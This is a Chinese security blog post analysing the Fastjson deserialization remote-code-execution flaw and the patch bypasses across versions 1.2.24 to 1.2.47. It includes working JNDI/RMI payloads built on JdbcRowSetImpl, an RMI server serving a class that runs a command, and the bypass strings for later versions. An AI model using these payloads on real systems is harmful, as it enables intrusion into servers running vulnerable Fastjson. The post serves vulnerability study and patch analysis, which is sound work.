Hu3sky's blog

Fastjson反序列化漏洞以及多版本补丁分析

Word count: 2,087 / Reading time: 11 min
2019/10/05 Share

关于

https://github.com/alibaba/fastjson/wiki/security_update_20170315

fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。最近发现fastjson在1.2.24以及之前版本存在远程代码执行高危安全漏洞,为了保证系统安全,请升级到1.2.28/1.2.29/1.2.30/1.2.31或者更新版本。

环境
Fastjson:1.2.23(http://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.23/)
Jdk:1.7.0

demo

测试类User

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class User {
private String name;
private int age;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}
}

Fastjson.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

import java.util.HashMap;
import java.util.Map;

public class Fastjson {
public static void main(String[] args) {
Map<String, Integer> map = new HashMap<String, Integer>();
map.put("key1",1);
map.put("key2",2);
String json = JSON.toJSONString(map);
System.out.println(json);

User u = new User();
u.setAge(20);
u.setName("HU3sky");
//序列化
String ser = JSON.toJSONString(u);
System.out.println(ser);
String ser1 = JSON.toJSONString(u, SerializerFeature.WriteClassName);
System.out.println(ser1);
}
}

结果
image
我们发现,SerializerFeature.WriteClassName会多写入一个@type
type可以指定反序列化的类,并且调用其get,set方法

添加反序列化内容

1
2
3
//通过parse进行反序列化
User u2 = (User)JSON.parse(ser1);
System.out.println(u2.getAge());

image

添加代码

1
2
3
4
5
6
7
//通过parseObject方法进行反序列化  通过这种方法返回的是一个JSONObject
Object obj = JSON.parseObject(ser1);
System.out.println(obj.getClass().getName());

//通过这种方式返回的是一个相应的类对象
Object obj1 = JSON.parseObject(ser1,Object.class);
System.out.println(obj1.getClass().getName());

输出
image

Fastjson反序列化主要的两个api就是JSON.parse,JSON.parseObject,主要区别就是JSON.parse会返回实际的当前类,而JSON.parseObject会返回一个JSONObject

现在有

1
2
3
4
5
6
7
8
9
10
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class Test {
public static void main(String[] args) {
String json = "{\"@type\":\"User\",\"age\":15,\"name\":\"Hu3sky\",\"secret\":\"a\"}";
JSONObject js = JSON.parseObject(json);
System.out.println(js.get("age"));
}
}

给User对象添加一个无参构造方法,同时修改get set方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public class User {
public String name;
private int age;
private String secret;
public User()
{
System.out.println("User() is called");
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public String getSecret() {
return secret;
}
}

image

此时获取到了age,调用了set方法去设置值
如果我们获取没有set方法的secret

1
System.out.println(js.get("secret"));

返回值为null
image

如果也想让没有set方法的secret有值呢
修改

1
User js = JSON.parseObject(json,User.class, Feature.SupportNonPublicField);

使用FastJson提供参数设定Feature.SupportNonPublicField,才能还原私有属性

parse和parseObject自动调用的方法

1
2
3
parse(jsonStr) 构造方法+Json字符串指定属性的setter()+特殊的getter()                            
parseObject(jsonStr) 构造方法+Json字符串指定属性的setter()+所有getter() 包括不存在属性和私有属性的getter()
parseObject(jsonStr,*.class) 构造方法+Json字符串指定属性的setter()+特殊的getter()

漏洞利用(基于JdbcRowSetImpl)

POC

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/EvalObject","autoCommit":true}

payload利用了一个jdni注入利用rmi协议请求恶意类

test目录下
EvalObject.java

1
2
3
4
5
6
7
import java.io.IOException;

public class EvalObject {
public EvalObject() throws IOException {
Runtime.getRuntime().exec("open /Applications/Calculator.app/");
}
}

RMIServer.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIService {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference refObj = new Reference("EvalObject", "EvalObject", "http://127.0.0.1:8080/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);

System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'");
registry.bind("refObj", refObjWrapper);
}
}

Test.java

1
2
3
4
5
6
7
8
import com.alibaba.fastjson.JSONObject;

public class Test {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/EvalObject\",\"autoCommit\":true}";
JSONObject.parseObject(payload);
}
}

在test目录下监听8080端口
接着运行RMIServer
最后运行Test.java

ea2ac87c79bf231ec9d5765c81af4268.gif

漏洞分析

首先关于JdbcRowSetImpl类的介绍
https://docs.oracle.com/cd/E17824_01/dsc_docs/docs/jscreator/apis/rowset/com/sun/rowset/JdbcRowSetImpl.html

/com/alibaba/fastjson/parser/DefaultJSONParser.class
image
检测到”,于是进入scanSymbol
/com/alibaba/fastjson/parser/JSONLexerBase.classscanSymbol解析出@type字符串
继续,调试到
image
进入scan,解析出类名
image
接着加载该类,返回class com.sun.rowset.JdbcRowSetImpl
image
然后在这里进行了反序列化
image

该函数在/com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.class

接着就是执行JdbcRowSetImpl的set方法了
/rt.jar!/com/sun/rowset/JdbcRowSetImpl.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public void setDataSourceName(String var1) throws SQLException {
if (this.getDataSourceName() != null) {
if (!this.getDataSourceName().equals(var1)) {
String var2 = this.getDataSourceName();
super.setDataSourceName(var1);
this.conn = null;
this.ps = null;
this.rs = null;
this.propertyChangeSupport.firePropertyChange("dataSourceName", var2, var1);
}
} else {
super.setDataSourceName(var1);
this.propertyChangeSupport.firePropertyChange("dataSourceName", (Object)null, var1);
}

}

接着调用setAutoCommit

1
2
3
4
5
6
7
8
9
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}

}

在connect方法里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}

关键代码,调用了lookup,去获取getDataSourceName()

1
2
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

补丁

1.2.25

src/main/java/com/alibaba/fastjson/parser/DefaultJSONParser.java

1
Class<?> clazz = this.config.checkAutoType(ref, (Class)null);

同时在src/main/java/com/alibaba/fastjson/parser/ParserConfig.java
添加了黑名单
image

同样的payload报错了
image
报错位置:/src/lib/fastjson-1.2.25.jar!/com/alibaba/fastjson/parser/ParserConfig.class:746
com.sun.在黑名单denyList里,所以报错了
image

1.2.41

payload:

1
Lcom.sun.rowset.JdbcRowSetImpl;

image

/src/lib/fastjson-1.2.42.jar!/com/alibaba/fastjson/util/TypeUtils.class


1
2
3
4
5
6
7
8
9
10
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
...
} else if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
} else if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
...

可以看到,如果类的开头是L,结尾是; 那么就会生成一个新的类,去掉开头和结尾
并且是先进行黑名单的检测,再进行loadClass

image

那么我们构造类名

1
Lcom.sun.rowset.JdbcRowSetImpl;

1.2.42

payload:

1
LLcom.sun.rowset.JdbcRowSetImpl;;

黑名单改为hash模式
关于黑名单解密
https://github.com/LeadroyaL/fastjson-blacklist

1
this.denyHashCodes = new long[]{-8720046426850100497L, -8109300701639721088L, -7966123100503199569L, -7766605818834748097L, -6835437086156813536L, -4837536971810737970L, -4082057040235125754L, -2364987994247679115L, -1872417015366588117L, -254670111376247151L, -190281065685395680L, 33238344207745342L, 313864100207897507L, 1203232727967308606L, 1502845958873959152L, 3547627781654598988L, 3730752432285826863L, 3794316665763266033L, 4147696707147271408L, 5347909877633654828L, 5450448828334921485L, 5751393439502795295L, 5944107969236155580L, 6742705432718011780L, 7179336928365889465L, 7442624256860549330L, 8838294710098435315L};

这段代码进行了一个检测

1
2
3
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
className = className.substring(1, className.length() - 1);
}

对L开头的和;结尾的进行了处理
image

然后再去做判断的时候
image

就会判断为在denyHashCodes里,所以我们写两层

LLcom.sun.rowset.JdbcRowSetImpl;;

这样就能进入loadClass
image
两次循环
image
就去掉了L和;

1.2.43

1
2
3
4
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
throw new JSONException("autoType is not support. " + typeName);
}

暴力。检测到LL开头,就报错

1.2.45

1.2.42-1.2.45都可以
payload:

1
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/EvalObject"}}

针对1.2.45补丁:扩展了黑名单
image

1.2.47

payload:

1
"{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/EvalObject","autoCommit":true}}}";

分析:
checkAutoType的时候,传入的@type是java.lang.Class这不在黑名单中,执行完checkAutoType后,回到DefaultJSONParser
image
在364行,调用MiscCodecdeserialze进行反序列化
MiscCodec#deserialze:231
image

调用parse提取出了val的值也就是com.sun.rowset.JdbcRowSetImpl,赋值给了objVal
最后又赋值给了strVal
image

在这里loadClass直接去加载了strVal也就是恶意类
image

继续跟入loadClass
类被放入了map中,cache默认为true,所以能进入
image

然后触发第二段payload
image
此时的typeNamecom.sun.rowset.JdbcRowSetImpl
直接从map中取出
image
接着直接返回了
image
然后在DefaultJSONParser.class:364反序列化com.sun.rowset.JdbcRowSetImpl
image

至此,分析结束

>1.2.47

修改cache默认为false

Reference

CATALOG
  1. 1. 关于
    1. 1.1. demo
    2. 1.2. 漏洞利用(基于JdbcRowSetImpl)
    3. 1.3. 漏洞分析
    4. 1.4. 补丁
      1. 1.4.1. 1.2.25
      2. 1.4.2. 1.2.41
      3. 1.4.3. 1.2.42
      4. 1.4.4. 1.2.43
      5. 1.4.5. 1.2.45
      6. 1.4.6. 1.2.47
      7. 1.4.7. >1.2.47
  2. 2. Reference